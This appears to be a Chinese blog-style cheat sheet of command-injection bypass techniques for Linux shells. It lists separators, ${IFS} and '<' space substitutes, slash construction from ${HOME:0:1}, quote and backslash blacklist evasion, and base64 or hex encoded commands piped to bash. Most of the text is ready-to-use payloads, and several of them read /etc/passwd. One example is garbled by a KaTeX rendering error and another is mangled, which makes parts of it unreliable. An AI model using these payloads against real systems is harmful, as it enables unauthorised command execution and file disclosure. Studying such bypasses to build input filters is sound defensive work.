命令分隔符
cat /etc/passwd;ls
分号 ;
cmd1;cmd2(多条语句顺序执行)

cat /etc/passwd && ls
and &&
cmd1&&cmd2 与命令,cmd1成功则执行cmd2,cmd1失败则不执行cmd2

cat etc || ls
or ||
cmd1 || cmd2 cmd1执行失败则执行cmd2,若cmd1执行成功则不执行cmd2

管道符 |
| 管道符
管道符”|“左边的命令的输出会作为管道符”|“右边命令的输入
%0a、%0d
linux:
%0a 回车
%0d 换行
windows:
%0a 回车
%1a 作为.bat文件的命令分隔符
过滤空格绕过
使用<代替空格
cat /etc/passwd ---->>> cat</etc/passwd

使用${IFS}代替空格
cat /etc/passwd ---->>> cat${IFS}/etc/passwd

使用$IFS代替空格
cat /etc/passwd ---->>> cat$IFS/etc/passwd

过滤斜杠/绕过
使用${HOME:0:1}代替/
cat /etc/passwd ---->>> cat HOME:0:1etc{HOME:0:1}etcHOME:0:1etc{HOME:0:1}passwd

使用echo . | tr ‘!-0’ ‘"-1’ 代替/
cat /etc/passwd ---->>> cat KaTeX parse error: Double superscript at position 20: …o . | tr '!-0' '̲"-1')etc(echo . | tr ‘!-0’ ‘"-1’)passwd
注意:反引号``和$()用来表示命令执行,被这两种方式包含的字符串都会被当作命令优先执行

黑名单绕过
拼接绕过
a=nc1;b=.py;cat aaab

单引号‘和双引号“绕过
cat n’c’1.py

cat n“c”1.py

反斜杠\绕过
cat n\c\1.py

利用Shell 特殊变量绕过
| 变量 | 含义 |
|---|---|
| $0 | 当前脚本的文件名 |
| $n | 传递给脚本或函数的参数。n 是一个数字,表示第几个参数。例如,第一个参数是1,第二个参数是2。而参数不存在时其值为空。 |
| $# | 传递给脚本或函数的参数个数 |
| $* | 传递给脚本或函数的所有参数,而参数不存在时其值为空。 |
| $@ | 传递给脚本或函数的所有参数。,而参数不存在时其值为空。被双引号包函时,与$*稍有不同 |
| $? | 上个命令的推出状态,或函数的返回值 |
| $$ | 当前shell进程ID |
注意:当上述变量的值为空时,使用变量穿插在黑名单字符中即可绕过黑名单限制



编码绕过
核心:利用管道符”|“将左边命令的输入作为右边命令的输出
base64编码绕过
注意:反引号``和$()用来表示命令执行,被这两种方式包含的字符串都会被当作命令优先执行
echo “Y2F0IG5jMS5weQ==”|base64 -d|bash
echo Y2F0IG5jMS5weQ== | base64 -d
$(echo Y2F0IG5jMS5weQ== | base64 -d)
执行顺序:输出base64编码内容------>base64解码其编码内容------>执行bash命令

16进制编码绕过
echo “636174206E63312E7079”|xxd -r -p|bash

通配符绕过
| 字符 | 含义 |
|---|---|
| * | 匹配任意长度任意字符 |
| ? | 匹配任意单个字符 |


本文详细介绍了Shell中的命令分隔符(如分号、&&、||)、管道符的用法,以及如何通过编码、变量和特殊字符绕过安全限制。内容涵盖了基础语法到高级技巧,适合深入理解Shell脚本的开发者阅读。

4016

被折叠的 条评论
为什么被折叠?



